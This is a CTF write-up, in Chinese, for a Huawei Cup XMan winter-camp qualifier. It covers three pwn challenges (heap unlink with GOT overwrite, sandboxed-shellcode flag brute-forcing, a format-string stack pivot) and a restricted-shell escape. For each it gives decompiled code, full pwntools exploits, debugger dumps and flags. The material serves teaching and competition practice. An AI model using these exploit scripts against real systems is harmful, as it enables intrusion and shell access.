【WriteUp】第三届“华为杯”XMan冬令营选拔赛题解

今年题是不是比去年简单

Pwn

baby_arm

Description:

nc 139.9.133.160 10000


Solution:

原本以为 arm 是根本看不懂的,不过堆管理机制这貌似跟 linux 一样

这里贴题目代码:

1.add_note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void add_note()
{
void *v0; // r1
size_t size; // [sp+4h] [bp+4h]
int i; // [sp+8h] [bp+8h]

if ( count <= 20 )
{
for ( i = 0; i <= 19; ++i )
{
if ( !notelist[i] )
{
printf("Note size :");
_isoc99_scanf("%d", &size);
v0 = malloc(size);
notelist[i] = v0;
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i], size);
puts("Done it");
++count;
return;
}
}
}
else
{
puts("Full");
}
}

2.del_note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int del_note()
{
int result; // r0
int v1; // [sp+8h] [bp+8h]

printf("Index :");
read(0, &v1, 4u);
result = atoi((const char *)&v1);
if ( result < 0 || result >= count )
{
puts("Out of bound!");
exit(0);
}
if ( notelist[result] )
{
free(notelist[result]);
result = puts("Done it");
}
return result;
}

3.print_note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int print_note()
{
int result; // r0
int v1; // [sp+8h] [bp+8h]

printf("Index :");
read(0, &v1, 4u);
result = atoi((const char *)&v1);
if ( result < 0 || result >= count )
{
puts("Out of bound!");
exit(0);
}
if ( notelist[result] )
result = puts((const char *)notelist[result]);
return result;
}

4.edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void *edit()
{
void *v0; // r3
int v2; // [sp+4h] [bp+4h]
int v3; // [sp+8h] [bp+8h]

printf("Index :");
read(0, &v3, 4u);
v2 = atoi((const char *)&v3);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
exit(0);
}
v0 = notelist[v2];
if ( v0 )
{
puts("You content:");
read(0, notelist[v2], 0x10u);
}
return v0;
}

存在 UAF 和隐藏的 edit 函数,靠 unlink 劫持记载堆的地址,改写为 got_free 和 got_atoi

之后用 edit 修改 got_free 内部,使其指向 ptr_puts,然后释放之前把地址改成 got_atoi 的下标,以此泄露 libc 基地址

之后改写 got_free 为 addr_system,释放一个写着/bin/sh的字符串的堆就能提权

注意有全局变量 count 检测堆的数量,多申请几个就绕过去了

这里推荐一个查 libc 的网址:https://libc.nullbyte.cat

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 3
context(log_level="debug", arch="arm", os="linux")
if debug == 1:
p = process(['qemu-arm', '-g', '12345', '-L', '/usr/arm-linux-gnueabihf', './chall'])
elif debug == 2:
p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabihf', './chall'])
else:
p = remote('139.9.133.160', 10000)
elf = ELF('./chall', checksec=False)


def add(add_size, add_content):
p.sendafter(' your choice: \n', '1')
p.sendlineafter('Note size :', str(add_size))
p.sendafter('Content :', add_content)


def delete(delete_idx):
p.sendafter(' your choice: \n', '2')
p.sendlineafter('Index :', str(delete_idx))


def show(show_idx):
p.sendafter(' your choice: \n', '3')
p.sendafter('Index :', str(show_idx))


def edit(edit_idx, edit_content):
p.sendafter(' your choice: \n', '5')
p.sendafter('Index :', str(edit_idx))
p.sendafter('You content:', edit_content)


got_free = elf.got['free']
got_atoi = elf.got['atoi']
plt_puts = elf.plt['puts']
addr_notelist = 0x02108c
addr_count = 0x021064

p.sendlineafter('Tell me your name:', 'binLep')
add(0x40, 'a' * 4) # 1
add(0x80, 'b' * 4) # 2
add(0x80, 'c' * 4) # 3
delete(1)
delete(2)
pd = p32(0) + p32(0x81)
pd += p32(addr_notelist - 0xc) + p32(addr_notelist - 0x8)
pd += 'd' * 0x70
pd += p32(0x80) + p32(0x80)
add(0x100, pd) # 4
delete(2)
pd = p32(0) + p32(0)
pd += p32(got_atoi) + p32(got_free)
edit(1, pd)
add(0x80, '/bin/sh') # 5
add(0x80, '/bin/sh') # 6
add(0x80, '/bin/sh') # 7
add(0x80, '/bin/sh') # 8
add(0x80, '/bin/sh') # 9
edit(1, p32(plt_puts))
delete(0)

addr_atoi = u32(p.recv(4))
libcbase = addr_atoi - 0x025271
addr_system = libcbase + 0x02c771
addr_bin_sh = libcbase + 0x0ca574

edit(1, p32(addr_system))
success('addr_atoi = ' + hex(addr_atoi))
success('addr_system = ' + hex(addr_system))
delete(7)
p.interactive()

Flag:

1
flag{95633964-1915-4d63-9164-8b6b153ffe3b}

NoooCall

Description:

I feel sooo safe. nc 121.36.64.245 10003


Solution:

这题思路是固定的,主要就是爆破

看题发现只允许你写不超过 0x10 大小的 shellcode,实在狠

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void *v3; // ST10_8
void *buf; // ST18_8
FILE *v6; // [rsp+8h] [rbp-28h]

sub_B91(a1, a2, a3);
v6 = fopen("./flag.txt", "r");
if ( !v6 )
exit(1);
v3 = mmap((void *)0x200000000LL, 0x2000uLL, 3, 34, -1, 0LL);
buf = mmap((void *)0x300000000LL, 0x20000uLL, 7, 34, -1, 0LL);
_isoc99_fscanf(v6, "%s", v3);
printf("Your Shellcode >>");
read(0, buf, 0x10uLL);
sub_C34(0LL, buf);
((void (*)(void))buf)();
return 0LL;
}

一开始我打算用 xchg 扩大空间然后用 read 系统调用进行二次利用,但是失败了,后来发现这题有沙箱

1
2
3
4
5
6
7
8
9
10
unsigned __int64 sub_C34()
{
unsigned __int64 v0; // ST08_8
__int64 v1; // ST00_8

v0 = __readfsqword(0x28u);
v1 = seccomp_init(0LL);
seccomp_load(v1);
return __readfsqword(0x28u) ^ v0;
}

所有系统调用全都凉凉,所以这个思路就 pass 了

但是通过本地测试,可以发现 flag 的内容会被加载到地址0x200000000,所以我们可以逐个爆破

1
2
3
4
5
6
7
8
00:0000│ rsp  0x7ffe7900ae50 → 0x7ffe7900ae7e ← 0x559b87366db0f5c7
01:0008│ 0x7ffe7900ae58 → 0x559b87ab3010 ← 0xfbad2488
02:0010│ 0x7ffe7900ae60 → 0x200000000 ← 'flag{asasdasdsad}'
03:0018│ 0x7ffe7900ae68 → 0x300000000 ← mov rdi, qword ptr [rsp + 0x18] /* 0x47b60f18247c8b48 */
... ↓
05:0028│ 0x7ffe7900ae78 ← 0xf5c7bae0a1f13200
06:0030│ rbp 0x7ffe7900ae80 → 0x559b87366db0 ← push r15
07:0038│ 0x7ffe7900ae88 → 0x7f7e0bc08830 (__libc_start_main+240) ← mov edi, eax

题目主要还是考察汇编的基础,爆破思路就是如果字符一样,就用 shellcode 死循环这段代码,匹配不一样就直接报错

这样看 EOF 报错信息出现的时间长短就能够判断某个位置上面存在的字符到底是哪一个了

这里贴一下代码运行前后的调试结果:

shellcode运行前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x7f7e0bce9400 (closelog+48) ← sub rsp, 0x80
RDX 0x300000000 ← mov rdi, qword ptr [rsp + 0x18] /* 0x47b60f18247c8b48 */
RDI 0xffffffff
RSI 0x7f7e0bfacb28 (main_arena+8) → 0x559b87ab42c0 ← 0x0
R8 0x559b87ab42d0 → 0x559b87ab43d0 ← 0x0
R9 0x0
R10 0x0
R11 0x246
R12 0x559b87366a40 ← xor ebp, ebp
R13 0x7ffe7900af60 ← 0x1
R14 0x0
R15 0x0
RBP 0x7ffe7900ae80 → 0x559b87366db0 ← push r15
RSP 0x7ffe7900ae48 → 0x559b87366d89 ← mov eax, 0
RIP 0x300000000 ← mov rdi, qword ptr [rsp + 0x18] /* 0x47b60f18247c8b48 */
──────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────
► 0x300000000 mov rdi, qword ptr [rsp + 0x18]
0x300000005 movzx eax, byte ptr [rdi + 0x1f]
0x300000009 cmp al, 0x62
0x30000000b jne 0x30000000f
↓
0x30000000f or al, byte ptr [rax]
0x300000011 add byte ptr [rax], al
0x300000013 add byte ptr [rax], al
0x300000015 add byte ptr [rax], al
0x300000017 add byte ptr [rax], al
0x300000019 add byte ptr [rax], al
0x30000001b add byte ptr [rax], al
──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe7900ae48 → 0x559b87366d89 ← mov eax, 0
01:0008│ 0x7ffe7900ae50 → 0x7ffe7900ae7e ← 0x559b87366db0f5c7
02:0010│ 0x7ffe7900ae58 → 0x559b87ab3010 ← 0xfbad2488
03:0018│ 0x7ffe7900ae60 → 0x200000000 ← 'flag{asasdasdsad}'
04:0020│ 0x7ffe7900ae68 → 0x300000000 ← mov rdi, qword ptr [rsp + 0x18] /* 0x47b60f18247c8b48 */
... ↓
06:0030│ 0x7ffe7900ae78 ← 0xf5c7bae0a1f13200
07:0038│ rbp 0x7ffe7900ae80 → 0x559b87366db0 ← push r15

shellcode运行后(不匹配)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x7f7e0bce9400 (closelog+48) ← sub rsp, 0x80
RDX 0x300000000 ← mov rdi, qword ptr [rsp + 0x18] /* 0x47b60f18247c8b48 */
RDI 0x200000000 ← 'flag{asasdasdsad}'
RSI 0x7f7e0bfacb28 (main_arena+8) → 0x559b87ab42c0 ← 0x0
R8 0x559b87ab42d0 → 0x559b87ab43d0 ← 0x0
R9 0x0
R10 0x0
R11 0x246
R12 0x559b87366a40 ← xor ebp, ebp
R13 0x7ffe7900af60 ← 0x1
R14 0x0
R15 0x0
RBP 0x7ffe7900ae80 → 0x559b87366db0 ← push r15
RSP 0x7ffe7900ae48 → 0x559b87366d89 ← mov eax, 0
RIP 0x30000000f ← 0xa /* '\n' */
──────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────
0x300000000 mov rdi, qword ptr [rsp + 0x18]
0x300000005 movzx eax, byte ptr [rdi + 0x1f]
0x300000009 cmp al, 0x62
0x30000000b jne 0x30000000f
↓
► 0x30000000f or al, byte ptr [rax]
0x300000011 add byte ptr [rax], al
0x300000013 add byte ptr [rax], al
0x300000015 add byte ptr [rax], al
0x300000017 add byte ptr [rax], al
0x300000019 add byte ptr [rax], al
0x30000001b add byte ptr [rax], al
──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe7900ae48 → 0x559b87366d89 ← mov eax, 0
01:0008│ 0x7ffe7900ae50 → 0x7ffe7900ae7e ← 0x559b87366db0f5c7
02:0010│ 0x7ffe7900ae58 → 0x559b87ab3010 ← 0xfbad2488
03:0018│ 0x7ffe7900ae60 → 0x200000000 ← 'flag{asasdasdsad}'
04:0020│ 0x7ffe7900ae68 → 0x300000000 ← mov rdi, qword ptr [rsp + 0x18] /* 0x47b60f18247c8b48 */
... ↓
06:0030│ 0x7ffe7900ae78 ← 0xf5c7bae0a1f13200
07:0038│ rbp 0x7ffe7900ae80 → 0x559b87366db0 ← push r15

Program received signal SIGSEGV (fault address 0x0)

shellcode运行后(匹配)

这里匹配的测试样例的 f 字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────
RAX 0x66
RBX 0x0
RCX 0x7f79c8c0d400 (closelog+48) ← sub rsp, 0x80
RDX 0x300000000 ← mov rdi, qword ptr [rsp + 0x18] /* 0x7b60f18247c8b48 */
RDI 0x200000000 ← 'flag{asasdasdsad}'
RSI 0x7f79c8ed0b28 (main_arena+8) → 0x55578bc912c0 ← 0x0
R8 0x55578bc912d0 → 0x55578bc913d0 ← 0x0
R9 0x0
R10 0x0
R11 0x246
R12 0x55578b439a40 ← xor ebp, ebp
R13 0x7fff56a87960 ← 0x1
R14 0x0
R15 0x0
RBP 0x7fff56a87880 → 0x55578b439db0 ← push r15
RSP 0x7fff56a87848 → 0x55578b439d89 ← mov eax, 0
RIP 0x30000000a ← jne 0x30000000e /* 0xafeeb0275 */
──────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────
0x300000000 mov rdi, qword ptr [rsp + 0x18]
0x300000005 movzx eax, byte ptr [rdi]
0x300000008 cmp al, 0x66
► 0x30000000a jne 0x30000000e

0x30000000c jmp 0x30000000c
↓
0x30000000c jmp 0x30000000c



──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fff56a87848 → 0x55578b439d89 ← mov eax, 0
01:0008│ 0x7fff56a87850 → 0x7fff56a8787e ← 0x55578b439db0fe7b
02:0010│ 0x7fff56a87858 → 0x55578bc90010 ← 0xfbad2488
03:0018│ 0x7fff56a87860 → 0x200000000 ← 'flag{asasdasdsad}'
04:0020│ 0x7fff56a87868 → 0x300000000 ← mov rdi, qword ptr [rsp + 0x18] /* 0x7b60f18247c8b48 */
... ↓
06:0030│ 0x7fff56a87878 ← 0xfe7bfd37a5f85300
07:0038│ rbp 0x7fff56a87880 → 0x55578b439db0 ← push r15

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import string

debug = 0
context(log_level="debug", arch="amd64", os="linux")

num = 31
strstr = string.lowercase + '_{}' + string.digits + string.uppercase
for j in strstr:
if debug == 1:
p = process('./chall')
else:
p = remote('121.36.64.245', 10003)
# gdb.attach(p, "b *$reabse(0xD82)\nc")
pd = asm('''
mov rdi, [rsp + 0x18]
movzx eax, byte ptr[rdi + {}]
cmp al, {}
jnz exit
while:
jmp while
exit:
'''.format(str(num), ord(j)))
# info(hex(len(pd)))
success(str(num) + ' = ' + j)
p.sendlineafter('Your Shellcode >>', pd)
p.interactive()
p.close()

Flag:

1
xmanctf{y0ur_she11c0de_i3_grea7}

format

Description:

nc 119.3.172.70 10005


Solution:

程序会把字符串分成好几段小字符串,再一直 printf 格式化字符串漏洞输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char *__cdecl sub_80485C4(char *s)
{
char *v1; // eax
char *result; // eax

puts("...");
v1 = strtok(s, "|");
printf(v1);
while ( 1 )
{
result = strtok(0, "|");
if ( !result )
break;
printf(result);
}
return result;
}

还有个后门

1
2
3
4
int sub_80485AB()
{
return system("/bin/sh");
}

跟着程序运行,可以发现最后有一堆leave ret,ebp 从0xffd54608开始一步步运行,这里有栈迁移的知识应该好理解一点

1
2
3
4
5
6
7
8
9
10
0b:002c│ ebp  0xffd54608 → 0xffd54628 → 0xffd54658 → 0xffd54668 → 0xffd54678 ← ...
0c:0030│ 0xffd5460c → 0x804864b ← add esp, 0x10
0d:0034│ 0xffd54610 → 0x936b008 ← '%188d%10$hhn'
0e:0038│ 0xffd54614 → 0xf7efe010 (_dl_runtime_resolve+16) ← pop edx
0f:003c│ 0xffd54618 → 0xffd54658 → 0xffd54668 → 0xffd54678 ← 0x0
10:0040│ 0xffd5461c ← 0x37 /* '7' */
11:0044│ 0xffd54620 → 0x936b008 ← '%188d%10$hhn'
12:0048│ 0xffd54624 → 0xf7de1b23 (__read_nocancel+25) ← pop ebx
13:004c│ 0xffd54628 → 0xffd54658 → 0xffd54668 → 0xffd54678 ← 0x0
14:0050│ 0xffd5462c → 0x8048697 ← add esp, 0x10

在这里我们把 ebp 上面的0xffd54658地址改成0xffd5462c,因为0x8048697这个地址和给的/bin/sh后门地址相近

再把0xffd54608 → 0xffd54628 → 0xffd5462c → 0x8048697的0x8048697改为后门地址就 ok

题目唯一难点就是栈地址的最后一位是不变的,也就是说第一步覆盖的时候最后一位0xc不会变

但是倒数第二位有 16 种可能,所以爆破一下就能提权,不过调试的时候手测还挺要命,我的 exp 是改后两位为 0xbc

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 0
# context(log_level="debug", arch="i386", os="linux")
while True:
try:
if debug == 1:
p = process('./chall')
else:
p = remote('119.3.172.70', 10005)

# gdb.attach(p, "b *0x080485F6\nc\nsi")
pd = '%188d%10$hhn|'
pd += '%34213dbinLep%18$hn'
p.sendline(pd)
p.recvuntil('binLep')
p.recv()
p.recv(timeout=1)
except EOFError:
p.close()
continue
else:
p.interactive()
p.close()
break

Flag:

1
flag{blind_f0rmat_str1ng_w1th_rbpppppp}

Misc

ShellMaster

Description:

nc 139.9.143.38 10004 flag格式为xman{}


Solution:

这好像是非预期,看群里说原本$应该是在黑名单才对

1
2
3
4
5
6
7
8
9
10
11
root@lepPwn:~/CTF/Pwn/arm# nc 139.9.143.38 10004
Welcome to shell master!
Start to wake up the shell ...
master@ubuntu:~$ $0
ls -x
2 1 1.SH 1.txt DASH DONEGREP FLAG.TXT OUT.TXT bin boot ctf dd
dev df etc flag home lib lib64 ln ls media mnt mv
opt proc ps rm root run sbin sh srv su sys tmp
usr var
head flag
xman{sh3llll_mast3r__13_uuuuuu!!!}

Flag:

1
xman{sh3llll_mast3r__13_uuuuuu!!!}
文章目录
  1. 1. Pwn
    1. 1.1. baby_arm
      1. 1.1.1. Description:
      2. 1.1.2. Solution:
      3. 1.1.3. Flag:
    2. 1.2. NoooCall
      1. 1.2.1. Description:
      2. 1.2.2. Solution:
      3. 1.2.3. Flag:
    3. 1.3. format
      1. 1.3.1. Description:
      2. 1.3.2. Solution:
      3. 1.3.3. Flag:
  2. 2. Misc
    1. 2.1. ShellMaster
      1. 2.1.1. Description:
      2. 2.1.2. Solution:
      3. 2.1.3. Flag:
|